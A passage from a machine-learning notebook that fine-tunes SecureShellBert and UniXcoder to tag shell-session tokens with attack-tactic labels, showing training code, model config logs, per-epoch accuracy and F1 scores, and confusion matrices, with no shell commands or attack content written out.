[3.83030303e-01, 2.78787879e-02, 7.27272727e-03, 2.42424242e-03,
5.69696970e-01, 1.21212121e-03, 8.48484848e-03],
[8.21256039e-02, 5.45893720e-01, 0.00000000e+00, 0.00000000e+00,
0.00000000e+00, 3.71980676e-01, 0.00000000e+00],
[3.22344322e-01, 3.58974359e-01, 0.00000000e+00, 7.32600733e-02,
0.00000000e+00, 0.00000000e+00, 2.45421245e-01]])
# SECURE SHELL BERT
model3 = "SmartDataPolito/SecureShellBert"
shellbert_tokenizer = AutoTokenizer.from_pretrained(model3, add_prefix_space=True)
def tokenize_and_align_labels_shellbert(samples):
# Remember: we need to split the sentences
split_sentences = [sentence.split(" ") for sentence in samples["session"]]
# Tokenize all examples in batch using the global tokenizer
tokenized_inputs = shellbert_tokenizer(
split_sentences,
truncation=True, # Truncate to max length if needed
is_split_into_words=True, # Input is already split into words
max_length=512
)
# Extract all tags_id lists from the examples
all_tags = samples["label_id"]
new_labels = []
# Process each example's labels individually
for i, tags in enumerate(all_tags):
# Get word ID mapping for the current example
word_ids = tokenized_inputs.word_ids(i)
# Convert word-level tags to token-level tags
#print(f"\nTags{tags} and Word_ids {word_ids}")
aligned_labels = align_labels_with_tokens(tags, word_ids)
new_labels.append(aligned_labels)
# Add the aligned labels to the tokenized inputs
tokenized_inputs["labels"] = new_labels
return tokenized_inputs
shellbert_tokenized_datasets = encoded_dataset.map(
tokenize_and_align_labels_shellbert,
batched=True, # Can be performed in batches, in order to speed up times!
remove_columns=original_columns, # To remove the original columns
)
print(shellbert_tokenized_datasets)
loading file vocab.json from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/vocab.json loading file merges.txt from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/merges.txt loading file tokenizer.json from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/tokenizer.json loading file added_tokens.json from cache at None loading file special_tokens_map.json from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/special_tokens_map.json loading file tokenizer_config.json from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/tokenizer_config.json loading file chat_template.jinja from cache at None
DatasetDict({
train: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 200
})
valid: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 51
})
test: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 108
})
})
shellbert_data_collator = DataCollatorForTokenClassification(tokenizer=shellbert_tokenizer)
# BSHELLBERT data loaders
shellbert_train_dataloader = DataLoader(
shellbert_tokenized_datasets["train"],
shuffle=True,
collate_fn=shellbert_data_collator,
batch_size=16,
)
shellbert_eval_dataloader = DataLoader(
shellbert_tokenized_datasets["valid"], collate_fn=shellbert_data_collator, batch_size=16
)
shellbert_test_dataloader = DataLoader(
shellbert_tokenized_datasets["test"], collate_fn=shellbert_data_collator, batch_size=16
)
shellbert_model = AutoModelForTokenClassification.from_pretrained(
pretrained_model_name_or_path=model3,
id2label=id2label,
label2id=label2id,
)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/config.json
Model config RobertaConfig {
"architectures": [
"RobertaForMaskedLM"
],
"attention_probs_dropout_prob": 0.1,
"bos_token_id": 0,
"classifier_dropout": null,
"eos_token_id": 2,
"hidden_act": "gelu",
"hidden_dropout_prob": 0.1,
"hidden_size": 768,
"id2label": {
"0": "Execution",
"1": "Discovery",
"2": "Persistence",
"3": "Defense Evasion",
"4": "Not Malicious Yet",
"5": "Other",
"6": "Impact"
},
"initializer_range": 0.02,
"intermediate_size": 3072,
"label2id": {
"Defense Evasion": 3,
"Discovery": 1,
"Execution": 0,
"Impact": 6,
"Not Malicious Yet": 4,
"Other": 5,
"Persistence": 2
},
"layer_norm_eps": 1e-05,
"max_position_embeddings": 514,
"model_type": "roberta",
"num_attention_heads": 12,
"num_hidden_layers": 12,
"output_past": true,
"pad_token_id": 1,
"position_embedding_type": "absolute",
"torch_dtype": "float32",
"transformers_version": "4.55.1",
"type_vocab_size": 1,
"use_cache": true,
"vocab_size": 50265
}
loading weights file pytorch_model.bin from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/pytorch_model.bin Attempting to create safetensors variant Some weights of the model checkpoint at SmartDataPolito/SecureShellBert were not used when initializing RobertaForTokenClassification: ['lm_head.bias', 'lm_head.dense.bias', 'lm_head.dense.weight', 'lm_head.layer_norm.bias', 'lm_head.layer_norm.weight'] - This IS expected if you are initializing RobertaForTokenClassification from the checkpoint of a model trained on another task or with another architecture (e.g. initializing a BertForSequenceClassification model from a BertForPreTraining model). - This IS NOT expected if you are initializing RobertaForTokenClassification from the checkpoint of a model that you expect to be exactly identical (initializing a BertForSequenceClassification model from a BertForSequenceClassification model). Some weights of RobertaForTokenClassification were not initialized from the model checkpoint at SmartDataPolito/SecureShellBert and are newly initialized: ['classifier.bias', 'classifier.weight'] You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
LR = 2e-5
N_TRAIN_EPOCHS = 30
# Define optimizer
shellbert_optimizer = AdamW(shellbert_model.parameters(), lr=LR)
# FOR shellbert
shellbert_num_update_steps_per_epoch = len(shellbert_train_dataloader)
# Total number of training steps: number_batches_x_epoch x number of epochs!
num_training_steps_shellbert = N_TRAIN_EPOCHS * shellbert_num_update_steps_per_epoch
shellbert_lr_scheduler = get_scheduler(
"linear",
optimizer=shellbert_optimizer,
num_warmup_steps=0,
num_training_steps=num_training_steps_shellbert,
)
best_val_loss, best_epoch = np.inf, 0
best_model = deepcopy(shellbert_model)
device = 'cuda' if cuda.is_available() else 'cpu'
shellbert_model = shellbert_model.to(device)
print(shellbert_model.device)
cuda:0
progress_bar = tqdm(range(num_training_steps_bert))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses
#training
for epoch in range(N_TRAIN_EPOCHS):
# Training
shellbert_model.train()
train_loss = 0
for batch in shellbert_train_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
# Model expects:
# - input_ids > i.e., which tokens we must map into the embeddings
# - attention_mask > who shall each token pays attention to
# - labels > the NER tags
outputs = shellbert_model(input_ids=batch["input_ids"],
attention_mask=batch["attention_mask"],
labels=batch["labels"]
)
# Notice: the model already comes with a CrossEntropy loss
# - if `labels` are defined, a loss is also computed
loss = outputs.loss
train_loss += loss.detach().cpu().clone().numpy()
loss.backward()
shellbert_optimizer.step()
shellbert_lr_scheduler.step()
shellbert_optimizer.zero_grad()
progress_bar.update(1)
train_losses.append(train_loss/len(shellbert_train_dataloader))
# Evaluation
shellbert_model.eval()
full_predictions, full_labels = [], []
val_loss = 0
for batch in shellbert_eval_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
outputs = shellbert_model(**batch)
val_loss += outputs.loss.detach().cpu().clone().numpy()
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
val_loss = val_loss/len(shellbert_eval_dataloader)
val_losses.append(val_loss)
metrics = compute_metrics(full_predictions, full_labels)
print(
f"epoch {epoch}:",
{
key: metrics[key]
for key in ["token_accuracy", "token_f1"]
},
)
if val_loss <= best_val_loss:
best_epoch = epoch
best_val_loss = val_loss
best_model = deepcopy(shellbert_model)
plot_stats("shellbert", train_losses,
validation_losses=val_losses, best_epoch=best_epoch)
Safetensors PR exists
epoch 0: {'token_accuracy': 0.43287790067230536, 'token_f1': 0.12406240881550265}
epoch 1: {'token_accuracy': 0.6473649967469096, 'token_f1': 0.23054839264154328}
epoch 2: {'token_accuracy': 0.719583604424203, 'token_f1': 0.3203096923591393}
epoch 3: {'token_accuracy': 0.7443070917371503, 'token_f1': 0.3418419080294145}
epoch 4: {'token_accuracy': 0.7692474517458252, 'token_f1': 0.35600960539229964}
epoch 5: {'token_accuracy': 0.7829104315766645, 'token_f1': 0.36354669507649945}
epoch 6: {'token_accuracy': 0.8050314465408805, 'token_f1': 0.37306144370159516}
epoch 7: {'token_accuracy': 0.811971372804164, 'token_f1': 0.41772111615625623}
epoch 8: {'token_accuracy': 0.8171763175016266, 'token_f1': 0.4511046715861936}
epoch 9: {'token_accuracy': 0.829104315766645, 'token_f1': 0.47501680198903606}
epoch 10: {'token_accuracy': 0.8388635870743874, 'token_f1': 0.49331288469538315}
epoch 11: {'token_accuracy': 0.8403816959444806, 'token_f1': 0.5137805866138547}
epoch 12: {'token_accuracy': 0.8453697679462155, 'token_f1': 0.5654844783485666}
epoch 13: {'token_accuracy': 0.8505747126436781, 'token_f1': 0.5398806888634856}
epoch 14: {'token_accuracy': 0.8477553675992192, 'token_f1': 0.5636038255104273}
epoch 15: {'token_accuracy': 0.8585990023855996, 'token_f1': 0.593036630309909}
epoch 16: {'token_accuracy': 0.8581652569941445, 'token_f1': 0.5893160420910698}
epoch 17: {'token_accuracy': 0.8553459119496856, 'token_f1': 0.5961393545731867}
epoch 18: {'token_accuracy': 0.8609846020386034, 'token_f1': 0.6086445610979149}
epoch 19: {'token_accuracy': 0.8575146389069617, 'token_f1': 0.6059343929117963}
epoch 20: {'token_accuracy': 0.8620689655172413, 'token_f1': 0.610868864080845}
epoch 21: {'token_accuracy': 0.8627195836044242, 'token_f1': 0.6076387735396719}
epoch 22: {'token_accuracy': 0.8644545651702451, 'token_f1': 0.6102119607012231}
epoch 23: {'token_accuracy': 0.8601171112556929, 'token_f1': 0.6114741687252871}
epoch 24: {'token_accuracy': 0.8646714378659727, 'token_f1': 0.616842725186119}
epoch 25: {'token_accuracy': 0.8627195836044242, 'token_f1': 0.6217825872892971}
epoch 26: {'token_accuracy': 0.8659726740403383, 'token_f1': 0.6236808432489076}
epoch 27: {'token_accuracy': 0.8664064194317935, 'token_f1': 0.6204042679005746}
epoch 28: {'token_accuracy': 0.8659726740403383, 'token_f1': 0.6194903818572728}
epoch 29: {'token_accuracy': 0.866189546736066, 'token_f1': 0.6197647954032124}
plot_stats("shellbert", train_losses,
validation_losses=val_losses, best_epoch=best_epoch)
# Evaluation
shellbert_model.eval()
full_predictions, full_labels = [], []
for batch in shellbert_test_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
# Another way to pass the items to the model
outputs = best_model(**batch)
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)
for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")
compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
token_accuracy : 86.21% token_f1 : 68.28% token_precision : 82.84% token_recall : 62.21%
array([[8.59838895e-01, 1.37629459e-01, 6.90448792e-04, 0.00000000e+00,
4.60299194e-04, 1.38089758e-03, 0.00000000e+00],
[1.22060137e-02, 9.55641560e-01, 1.50342364e-02, 5.95415302e-03,
5.80529920e-03, 5.20988389e-03, 1.48853826e-04],
[2.28597042e-02, 4.39264904e-02, 9.33213805e-01, 0.00000000e+00,
0.00000000e+00, 0.00000000e+00, 0.00000000e+00],
[2.95890411e-01, 9.31506849e-02, 0.00000000e+00, 6.10958904e-01,
0.00000000e+00, 0.00000000e+00, 0.00000000e+00],
[5.19163763e-01, 8.13008130e-03, 7.78164925e-02, 3.48432056e-03,
3.91405343e-01, 0.00000000e+00, 0.00000000e+00],
[1.18421053e-01, 5.57017544e-01, 0.00000000e+00, 0.00000000e+00,
1.00877193e-01, 2.23684211e-01, 0.00000000e+00],
[1.50537634e-01, 3.94265233e-01, 0.00000000e+00, 2.15053763e-02,
5.37634409e-02, 0.00000000e+00, 3.79928315e-01]])
best_model_unix_task3 = AutoModelForTokenClassification.from_pretrained(
pretrained_model_name_or_path=model2,
id2label=id2label,
label2id=label2id,
)
# Freeze all layers
for param in best_model_unix_task3.base_model.parameters():
param.requires_grad = False
# Unfreeze the last 2 layers
for param in best_model_unix_task3.base_model.encoder.layer[-2:].parameters():
param.requires_grad = True
# The classification head (the token classifier) also needs to be trainable
for param in best_model_unix_task3.classifier.parameters():
param.requires_grad = True
for name, param in best_model_unix_task3.named_parameters():
if param.requires_grad:
print(name)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/config.json
Model config RobertaConfig {
"architectures": [
"RobertaModel"
],
"attention_probs_dropout_prob": 0.1,
"bos_token_id": 0,
"classifier_dropout": null,
"eos_token_id": 2,
"gradient_checkpointing": false,
"hidden_act": "gelu",
"hidden_dropout_prob": 0.1,
"hidden_size": 768,
"id2label": {
"0": "Execution",
"1": "Discovery",
"2": "Persistence",
"3": "Defense Evasion",
"4": "Not Malicious Yet",
"5": "Other",
"6": "Impact"
},
"initializer_range": 0.02,
"intermediate_size": 3072,
"label2id": {
"Defense Evasion": 3,
"Discovery": 1,
"Execution": 0,
"Impact": 6,
"Not Malicious Yet": 4,
"Other": 5,
"Persistence": 2
},
"layer_norm_eps": 1e-05,
"max_position_embeddings": 1026,
"model_type": "roberta",
"num_attention_heads": 12,
"num_hidden_layers": 12,
"output_past": true,
"pad_token_id": 1,
"position_embedding_type": "absolute",
"torch_dtype": "float32",
"transformers_version": "4.55.2",
"type_vocab_size": 10,
"use_cache": true,
"vocab_size": 51416
}
loading weights file pytorch_model.bin from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/pytorch_model.bin
Attempting to create safetensors variant
Safetensors PR exists
Some weights of the model checkpoint at microsoft/unixcoder-base were not used when initializing RobertaForTokenClassification: ['roberta.pooler.dense.bias', 'roberta.pooler.dense.weight']
- This IS expected if you are initializing RobertaForTokenClassification from the checkpoint of a model trained on another task or with another architecture (e.g. initializing a BertForSequenceClassification model from a BertForPreTraining model).
- This IS NOT expected if you are initializing RobertaForTokenClassification from the checkpoint of a model that you expect to be exactly identical (initializing a BertForSequenceClassification model from a BertForSequenceClassification model).
Some weights of RobertaForTokenClassification were not initialized from the model checkpoint at microsoft/unixcoder-base and are newly initialized: ['classifier.bias', 'classifier.weight']
You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
roberta.encoder.layer.10.attention.self.query.weight roberta.encoder.layer.10.attention.self.query.bias roberta.encoder.layer.10.attention.self.key.weight roberta.encoder.layer.10.attention.self.key.bias roberta.encoder.layer.10.attention.self.value.weight roberta.encoder.layer.10.attention.self.value.bias roberta.encoder.layer.10.attention.output.dense.weight roberta.encoder.layer.10.attention.output.dense.bias roberta.encoder.layer.10.attention.output.LayerNorm.weight roberta.encoder.layer.10.attention.output.LayerNorm.bias roberta.encoder.layer.10.intermediate.dense.weight roberta.encoder.layer.10.intermediate.dense.bias roberta.encoder.layer.10.output.dense.weight roberta.encoder.layer.10.output.dense.bias roberta.encoder.layer.10.output.LayerNorm.weight roberta.encoder.layer.10.output.LayerNorm.bias roberta.encoder.layer.11.attention.self.query.weight roberta.encoder.layer.11.attention.self.query.bias roberta.encoder.layer.11.attention.self.key.weight roberta.encoder.layer.11.attention.self.key.bias roberta.encoder.layer.11.attention.self.value.weight roberta.encoder.layer.11.attention.self.value.bias roberta.encoder.layer.11.attention.output.dense.weight roberta.encoder.layer.11.attention.output.dense.bias roberta.encoder.layer.11.attention.output.LayerNorm.weight roberta.encoder.layer.11.attention.output.LayerNorm.bias roberta.encoder.layer.11.intermediate.dense.weight roberta.encoder.layer.11.intermediate.dense.bias roberta.encoder.layer.11.output.dense.weight roberta.encoder.layer.11.output.dense.bias roberta.encoder.layer.11.output.LayerNorm.weight roberta.encoder.layer.11.output.LayerNorm.bias classifier.weight classifier.bias
total_params = sum(p.numel() for p in best_model_unix_task3.parameters())
print(f"Full model has {total_params:,} parameters")
trainable_params = sum(p.numel() for p in best_model_unix_task3.parameters() if p.requires_grad)
print(f"However, we will only train: {trainable_params:,}")
optimizer = AdamW(best_model_unix_task3.parameters(), lr=LR)
lr_scheduler = get_scheduler(
"linear",
optimizer=optimizer,
num_warmup_steps=0,
num_training_steps=num_training_steps_unix
)
Full model has 125,344,519 parameters However, we will only train: 14,181,127
# Best model initialization
best_val_loss, best_epoch = np.inf, 0
best_model_unix_freeze = deepcopy(best_model_unix_task3)
device = 'cuda' if cuda.is_available() else 'cpu'
print(device)
best_model_unix_task3 = best_model_unix_task3.to(device)
cuda
progress_bar = tqdm(range(num_training_steps_unix))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses
for epoch in range(N_TRAIN_EPOCHS):
# Training
best_model_unix_task3.train()
train_loss = 0
for batch in unix_train_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
# Model expects:
# - input_ids > i.e., which tokens we must map into the embeddings
# - attention_mask > who shall each token pays attention to
# - labels > the NER tags
outputs = best_model_unix_task3(input_ids=batch["input_ids"],
attention_mask=batch["attention_mask"],
labels=batch["labels"]
)
# Notice: the model already comes with a CrossEntropy loss
# - if `labels` are defined, a loss is also computed
loss = outputs.loss
train_loss += loss.detach().cpu().clone().numpy()
loss.backward()
optimizer.step()
lr_scheduler.step()
optimizer.zero_grad()
progress_bar.update(1)
train_losses.append(train_loss/len(unix_train_dataloader))
# Evaluation
best_model_unix_task3.eval()
full_predictions, full_labels = [], []
val_loss = 0
for batch in unix_eval_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
outputs = best_model_unix_task3(**batch)
val_loss += outputs.loss.detach().cpu().clone().numpy()
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
val_loss = val_loss/len(unix_eval_dataloader)
val_losses.append(val_loss)
metrics = compute_metrics(full_predictions, full_labels)
print(
f"epoch {epoch}:",
{
key: metrics[key]
for key in ["token_accuracy", "token_f1"]
},
)
if val_loss <= best_val_loss:
best_epoch = epoch
best_val_loss = val_loss
best_model_unix_freeze = deepcopy(best_model_unix_task3)
plot_stats("UNIX FREEZE", train_losses,
validation_losses=val_losses, best_epoch=best_epoch)
epoch 0: {'token_accuracy': 0.6444648598989435, 'token_f1': 0.271963853184993}
epoch 1: {'token_accuracy': 0.6488286632981167, 'token_f1': 0.2868535671202554}
epoch 2: {'token_accuracy': 0.6878732200275609, 'token_f1': 0.35520878100459247}
epoch 3: {'token_accuracy': 0.7108406063389986, 'token_f1': 0.3739839412419927}
epoch 4: {'token_accuracy': 0.7324299494717501, 'token_f1': 0.4003082249149183}
epoch 5: {'token_accuracy': 0.7441433164905834, 'token_f1': 0.4157648194433978}
epoch 6: {'token_accuracy': 0.7540192926045016, 'token_f1': 0.40916109304760145}
epoch 7: {'token_accuracy': 0.7629765732659624, 'token_f1': 0.43874914740380533}
epoch 8: {'token_accuracy': 0.7703261368856225, 'token_f1': 0.4510887080160063}
epoch 9: {'token_accuracy': 0.7740009186954525, 'token_f1': 0.4522486462680387}
epoch 10: {'token_accuracy': 0.7671107028020211, 'token_f1': 0.46036929067386995}
epoch 11: {'token_accuracy': 0.7772163527790538, 'token_f1': 0.4758532894224027}
epoch 12: {'token_accuracy': 0.7779053743683969, 'token_f1': 0.4542318082410159}
epoch 13: {'token_accuracy': 0.788929719797887, 'token_f1': 0.481406149704441}
epoch 14: {'token_accuracy': 0.7873220027560863, 'token_f1': 0.49462376773755956}
epoch 15: {'token_accuracy': 0.7965089572806615, 'token_f1': 0.49241176987708707}
epoch 16: {'token_accuracy': 0.7944418925126321, 'token_f1': 0.5054514726502477}
epoch 17: {'token_accuracy': 0.7994947175011484, 'token_f1': 0.5132520588225538}
epoch 18: {'token_accuracy': 0.8015617822691777, 'token_f1': 0.523649741041574}
epoch 19: {'token_accuracy': 0.8075333027101516, 'token_f1': 0.5186629819880312}
epoch 20: {'token_accuracy': 0.8052365640790078, 'token_f1': 0.546177107541215}
epoch 21: {'token_accuracy': 0.8063849333945797, 'token_f1': 0.5391288927245682}
epoch 22: {'token_accuracy': 0.807762976573266, 'token_f1': 0.5400675724579237}
epoch 23: {'token_accuracy': 0.8082223242994947, 'token_f1': 0.5317285236500232}
epoch 24: {'token_accuracy': 0.8073036288470372, 'token_f1': 0.5288149440137321}
epoch 25: {'token_accuracy': 0.8075333027101516, 'token_f1': 0.5458482586350867}
epoch 26: {'token_accuracy': 0.8091410197519522, 'token_f1': 0.5499160582164792}
epoch 27: {'token_accuracy': 0.808451998162609, 'token_f1': 0.5442458269854898}
epoch 28: {'token_accuracy': 0.8091410197519522, 'token_f1': 0.5457144413661473}
epoch 29: {'token_accuracy': 0.807762976573266, 'token_f1': 0.5440994627482189}
# Evaluation
best_model_unix_task3.eval()
full_predictions, full_labels = [], []
for batch in unix_test_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
# Another way to pass the items to the model
outputs = best_model_unix_freeze(**batch)
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)
for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")
compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
token_accuracy : 78.80% token_f1 : 53.59% token_precision : 75.06% token_recall : 48.83%
array([[8.09375747e-01, 1.66228175e-01, 1.36331021e-02, 1.19588615e-03,
9.32791198e-03, 2.39177230e-04, 0.00000000e+00],
[4.57942439e-02, 9.13181746e-01, 3.16425505e-02, 1.90809350e-03,
1.43107012e-03, 4.45221816e-03, 1.59007791e-03],
[3.37674867e-03, 1.40858659e-01, 8.53352629e-01, 0.00000000e+00,
0.00000000e+00, 0.00000000e+00, 2.41196334e-03],
[6.46907216e-01, 1.64948454e-01, 0.00000000e+00, 1.54639175e-01,
1.54639175e-02, 1.80412371e-02, 0.00000000e+00],
[2.35151515e-01, 4.95757576e-01, 9.09090909e-02, 0.00000000e+00,
1.73333333e-01, 4.84848485e-03, 0.00000000e+00],
[1.01449275e-01, 5.74879227e-01, 0.00000000e+00, 0.00000000e+00,
0.00000000e+00, 3.23671498e-01, 0.00000000e+00],
[5.23809524e-01, 1.86813187e-01, 6.59340659e-02, 1.46520147e-02,
1.83150183e-02, 0.00000000e+00, 1.90476190e-01]])
# JUST THE CLASSIFICATION HEADER
best_model_unix_lastPoint = AutoModelForTokenClassification.from_pretrained(
pretrained_model_name_or_path=model2,
id2label=id2label,
label2id=label2id,
)
# Freeze all layers
for param in best_model_unix_lastPoint.base_model.parameters():
param.requires_grad = False
# The classification head (the token classifier) also needs to be trainable
for param in best_model_unix_lastPoint.classifier.parameters():
param.requires_grad = True
for name, param in best_model_unix_lastPoint.named_parameters():
if param.requires_grad:
print(name)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/config.json
Model config RobertaConfig {
"architectures": [
"RobertaModel"
],
"attention_probs_dropout_prob": 0.1,
"bos_token_id": 0,
"classifier_dropout": null,
"eos_token_id": 2,
"gradient_checkpointing": false,
"hidden_act": "gelu",
"hidden_dropout_prob": 0.1,
"hidden_size": 768,
"id2label": {
"0": "Execution",
"1": "Discovery",
"2": "Persistence",
"3": "Defense Evasion",
"4": "Not Malicious Yet",
"5": "Other",
"6": "Impact"
},
"initializer_range": 0.02,
"intermediate_size": 3072,
"label2id": {
"Defense Evasion": 3,
"Discovery": 1,
"Execution": 0,
"Impact": 6,
"Not Malicious Yet": 4,
"Other": 5,
"Persistence": 2
},
"layer_norm_eps": 1e-05,
"max_position_embeddings": 1026,
"model_type": "roberta",
"num_attention_heads": 12,
"num_hidden_layers": 12,
"output_past": true,
"pad_token_id": 1,
"position_embedding_type": "absolute",
"torch_dtype": "float32",
"transformers_version": "4.55.2",
"type_vocab_size": 10,
"use_cache": true,
"vocab_size": 51416
}
loading weights file pytorch_model.bin from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/pytorch_model.bin
Attempting to create safetensors variant
Some weights of the model checkpoint at microsoft/unixcoder-base were not used when initializing RobertaForTokenClassification: ['roberta.pooler.dense.bias', 'roberta.pooler.dense.weight']
- This IS expected if you are initializing RobertaForTokenClassification from the checkpoint of a model trained on another task or with another architecture (e.g. initializing a BertForSequenceClassification model from a BertForPreTraining model).
- This IS NOT expected if you are initializing RobertaForTokenClassification from the checkpoint of a model that you expect to be exactly identical (initializing a BertForSequenceClassification model from a BertForSequenceClassification model).
Some weights of RobertaForTokenClassification were not initialized from the model checkpoint at microsoft/unixcoder-base and are newly initialized: ['classifier.bias', 'classifier.weight']
You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
classifier.weight classifier.bias
total_params = sum(p.numel() for p in best_model_unix_lastPoint.parameters())
print(f"Full model has {total_params:,} parameters")
trainable_params = sum(p.numel() for p in best_model_unix_lastPoint.parameters() if p.requires_grad)
print(f"However, we will only train: {trainable_params:,}")
optimizer = AdamW(best_model_unix_lastPoint.parameters(), lr=LR)
lr_scheduler = get_scheduler(
"linear",
optimizer=optimizer,
num_warmup_steps=0,
num_training_steps=num_training_steps_unix
)
Full model has 125,344,519 parameters However, we will only train: 5,383
# Best model initialization
best_val_loss, best_epoch = np.inf, 0
best_model_unix_freeze_only_head = deepcopy(best_model_unix_lastPoint)
device = 'cuda' if cuda.is_available() else 'cpu'
print(device)
best_model_unix_lastPoint = best_model_unix_lastPoint.to(device)
cuda
progress_bar = tqdm(range(num_training_steps_unix))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses
for epoch in range(N_TRAIN_EPOCHS):
# Training
best_model_unix_lastPoint.train()
train_loss = 0
for batch in unix_train_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
# Model expects:
# - input_ids > i.e., which tokens we must map into the embeddings
# - attention_mask > who shall each token pays attention to
# - labels > the NER tags
outputs = best_model_unix_lastPoint(input_ids=batch["input_ids"],
attention_mask=batch["attention_mask"],
labels=batch["labels"]
)
# Notice: the model already comes with a CrossEntropy loss
# - if `labels` are defined, a loss is also computed
loss = outputs.loss
train_loss += loss.detach().cpu().clone().numpy()
loss.backward()
optimizer.step()
lr_scheduler.step()
optimizer.zero_grad()
progress_bar.update(1)
train_losses.append(train_loss/len(unix_train_dataloader))
# Evaluation
best_model_unix_lastPoint.eval()
full_predictions, full_labels = [], []
val_loss = 0
for batch in unix_eval_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
outputs = best_model_unix_lastPoint(**batch)
val_loss += outputs.loss.detach().cpu().clone().numpy()
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
val_loss = val_loss/len(unix_eval_dataloader)
val_losses.append(val_loss)
metrics = compute_metrics(full_predictions, full_labels)
print(
f"epoch {epoch}:",
{
key: metrics[key]
for key in ["token_accuracy", "token_f1"]
},
)
if val_loss <= best_val_loss:
best_epoch = epoch
best_val_loss = val_loss
best_model_unix_freeze_only_head = deepcopy(best_model_unix_lastPoint)
plot_stats("UNIX FREEZE", train_losses,
validation_losses=val_losses, best_epoch=best_epoch)
epoch 0: {'token_accuracy': 0.2958199356913183, 'token_f1': 0.12898963311206538}
epoch 1: {'token_accuracy': 0.3215434083601286, 'token_f1': 0.1320012813735501}
epoch 2: {'token_accuracy': 0.347955902618282, 'token_f1': 0.13930609663730464}
epoch 3: {'token_accuracy': 0.3663298116674322, 'token_f1': 0.14331412392825524}
epoch 4: {'token_accuracy': 0.3833256775378962, 'token_f1': 0.150050760472068}
epoch 5: {'token_accuracy': 0.3987138263665595, 'token_f1': 0.15734683207700903}
epoch 6: {'token_accuracy': 0.4129536058796509, 'token_f1': 0.1622988087585906}
epoch 7: {'token_accuracy': 0.4283417547083142, 'token_f1': 0.16897294646385963}
epoch 8: {'token_accuracy': 0.44143316490583373, 'token_f1': 0.17499222422870736}
epoch 9: {'token_accuracy': 0.4552135966926964, 'token_f1': 0.1802283052240481}
epoch 10: {'token_accuracy': 0.4632521819016996, 'token_f1': 0.181691408155015}
epoch 11: {'token_accuracy': 0.4735875057418466, 'token_f1': 0.1841210927453731}
epoch 12: {'token_accuracy': 0.4818557648139642, 'token_f1': 0.18694950228368104}
epoch 13: {'token_accuracy': 0.48943500229673864, 'token_f1': 0.19017157937152737}
epoch 14: {'token_accuracy': 0.4958658704639412, 'token_f1': 0.191650768557369}
epoch 15: {'token_accuracy': 0.50367478180983, 'token_f1': 0.195237559754152}
epoch 16: {'token_accuracy': 0.5073495636196601, 'token_f1': 0.1968928273293967}
epoch 17: {'token_accuracy': 0.5128617363344051, 'token_f1': 0.19837461978196225}
epoch 18: {'token_accuracy': 0.5153881488286634, 'token_f1': 0.1991011054786524}
epoch 19: {'token_accuracy': 0.5195222783647221, 'token_f1': 0.20054070122285933}
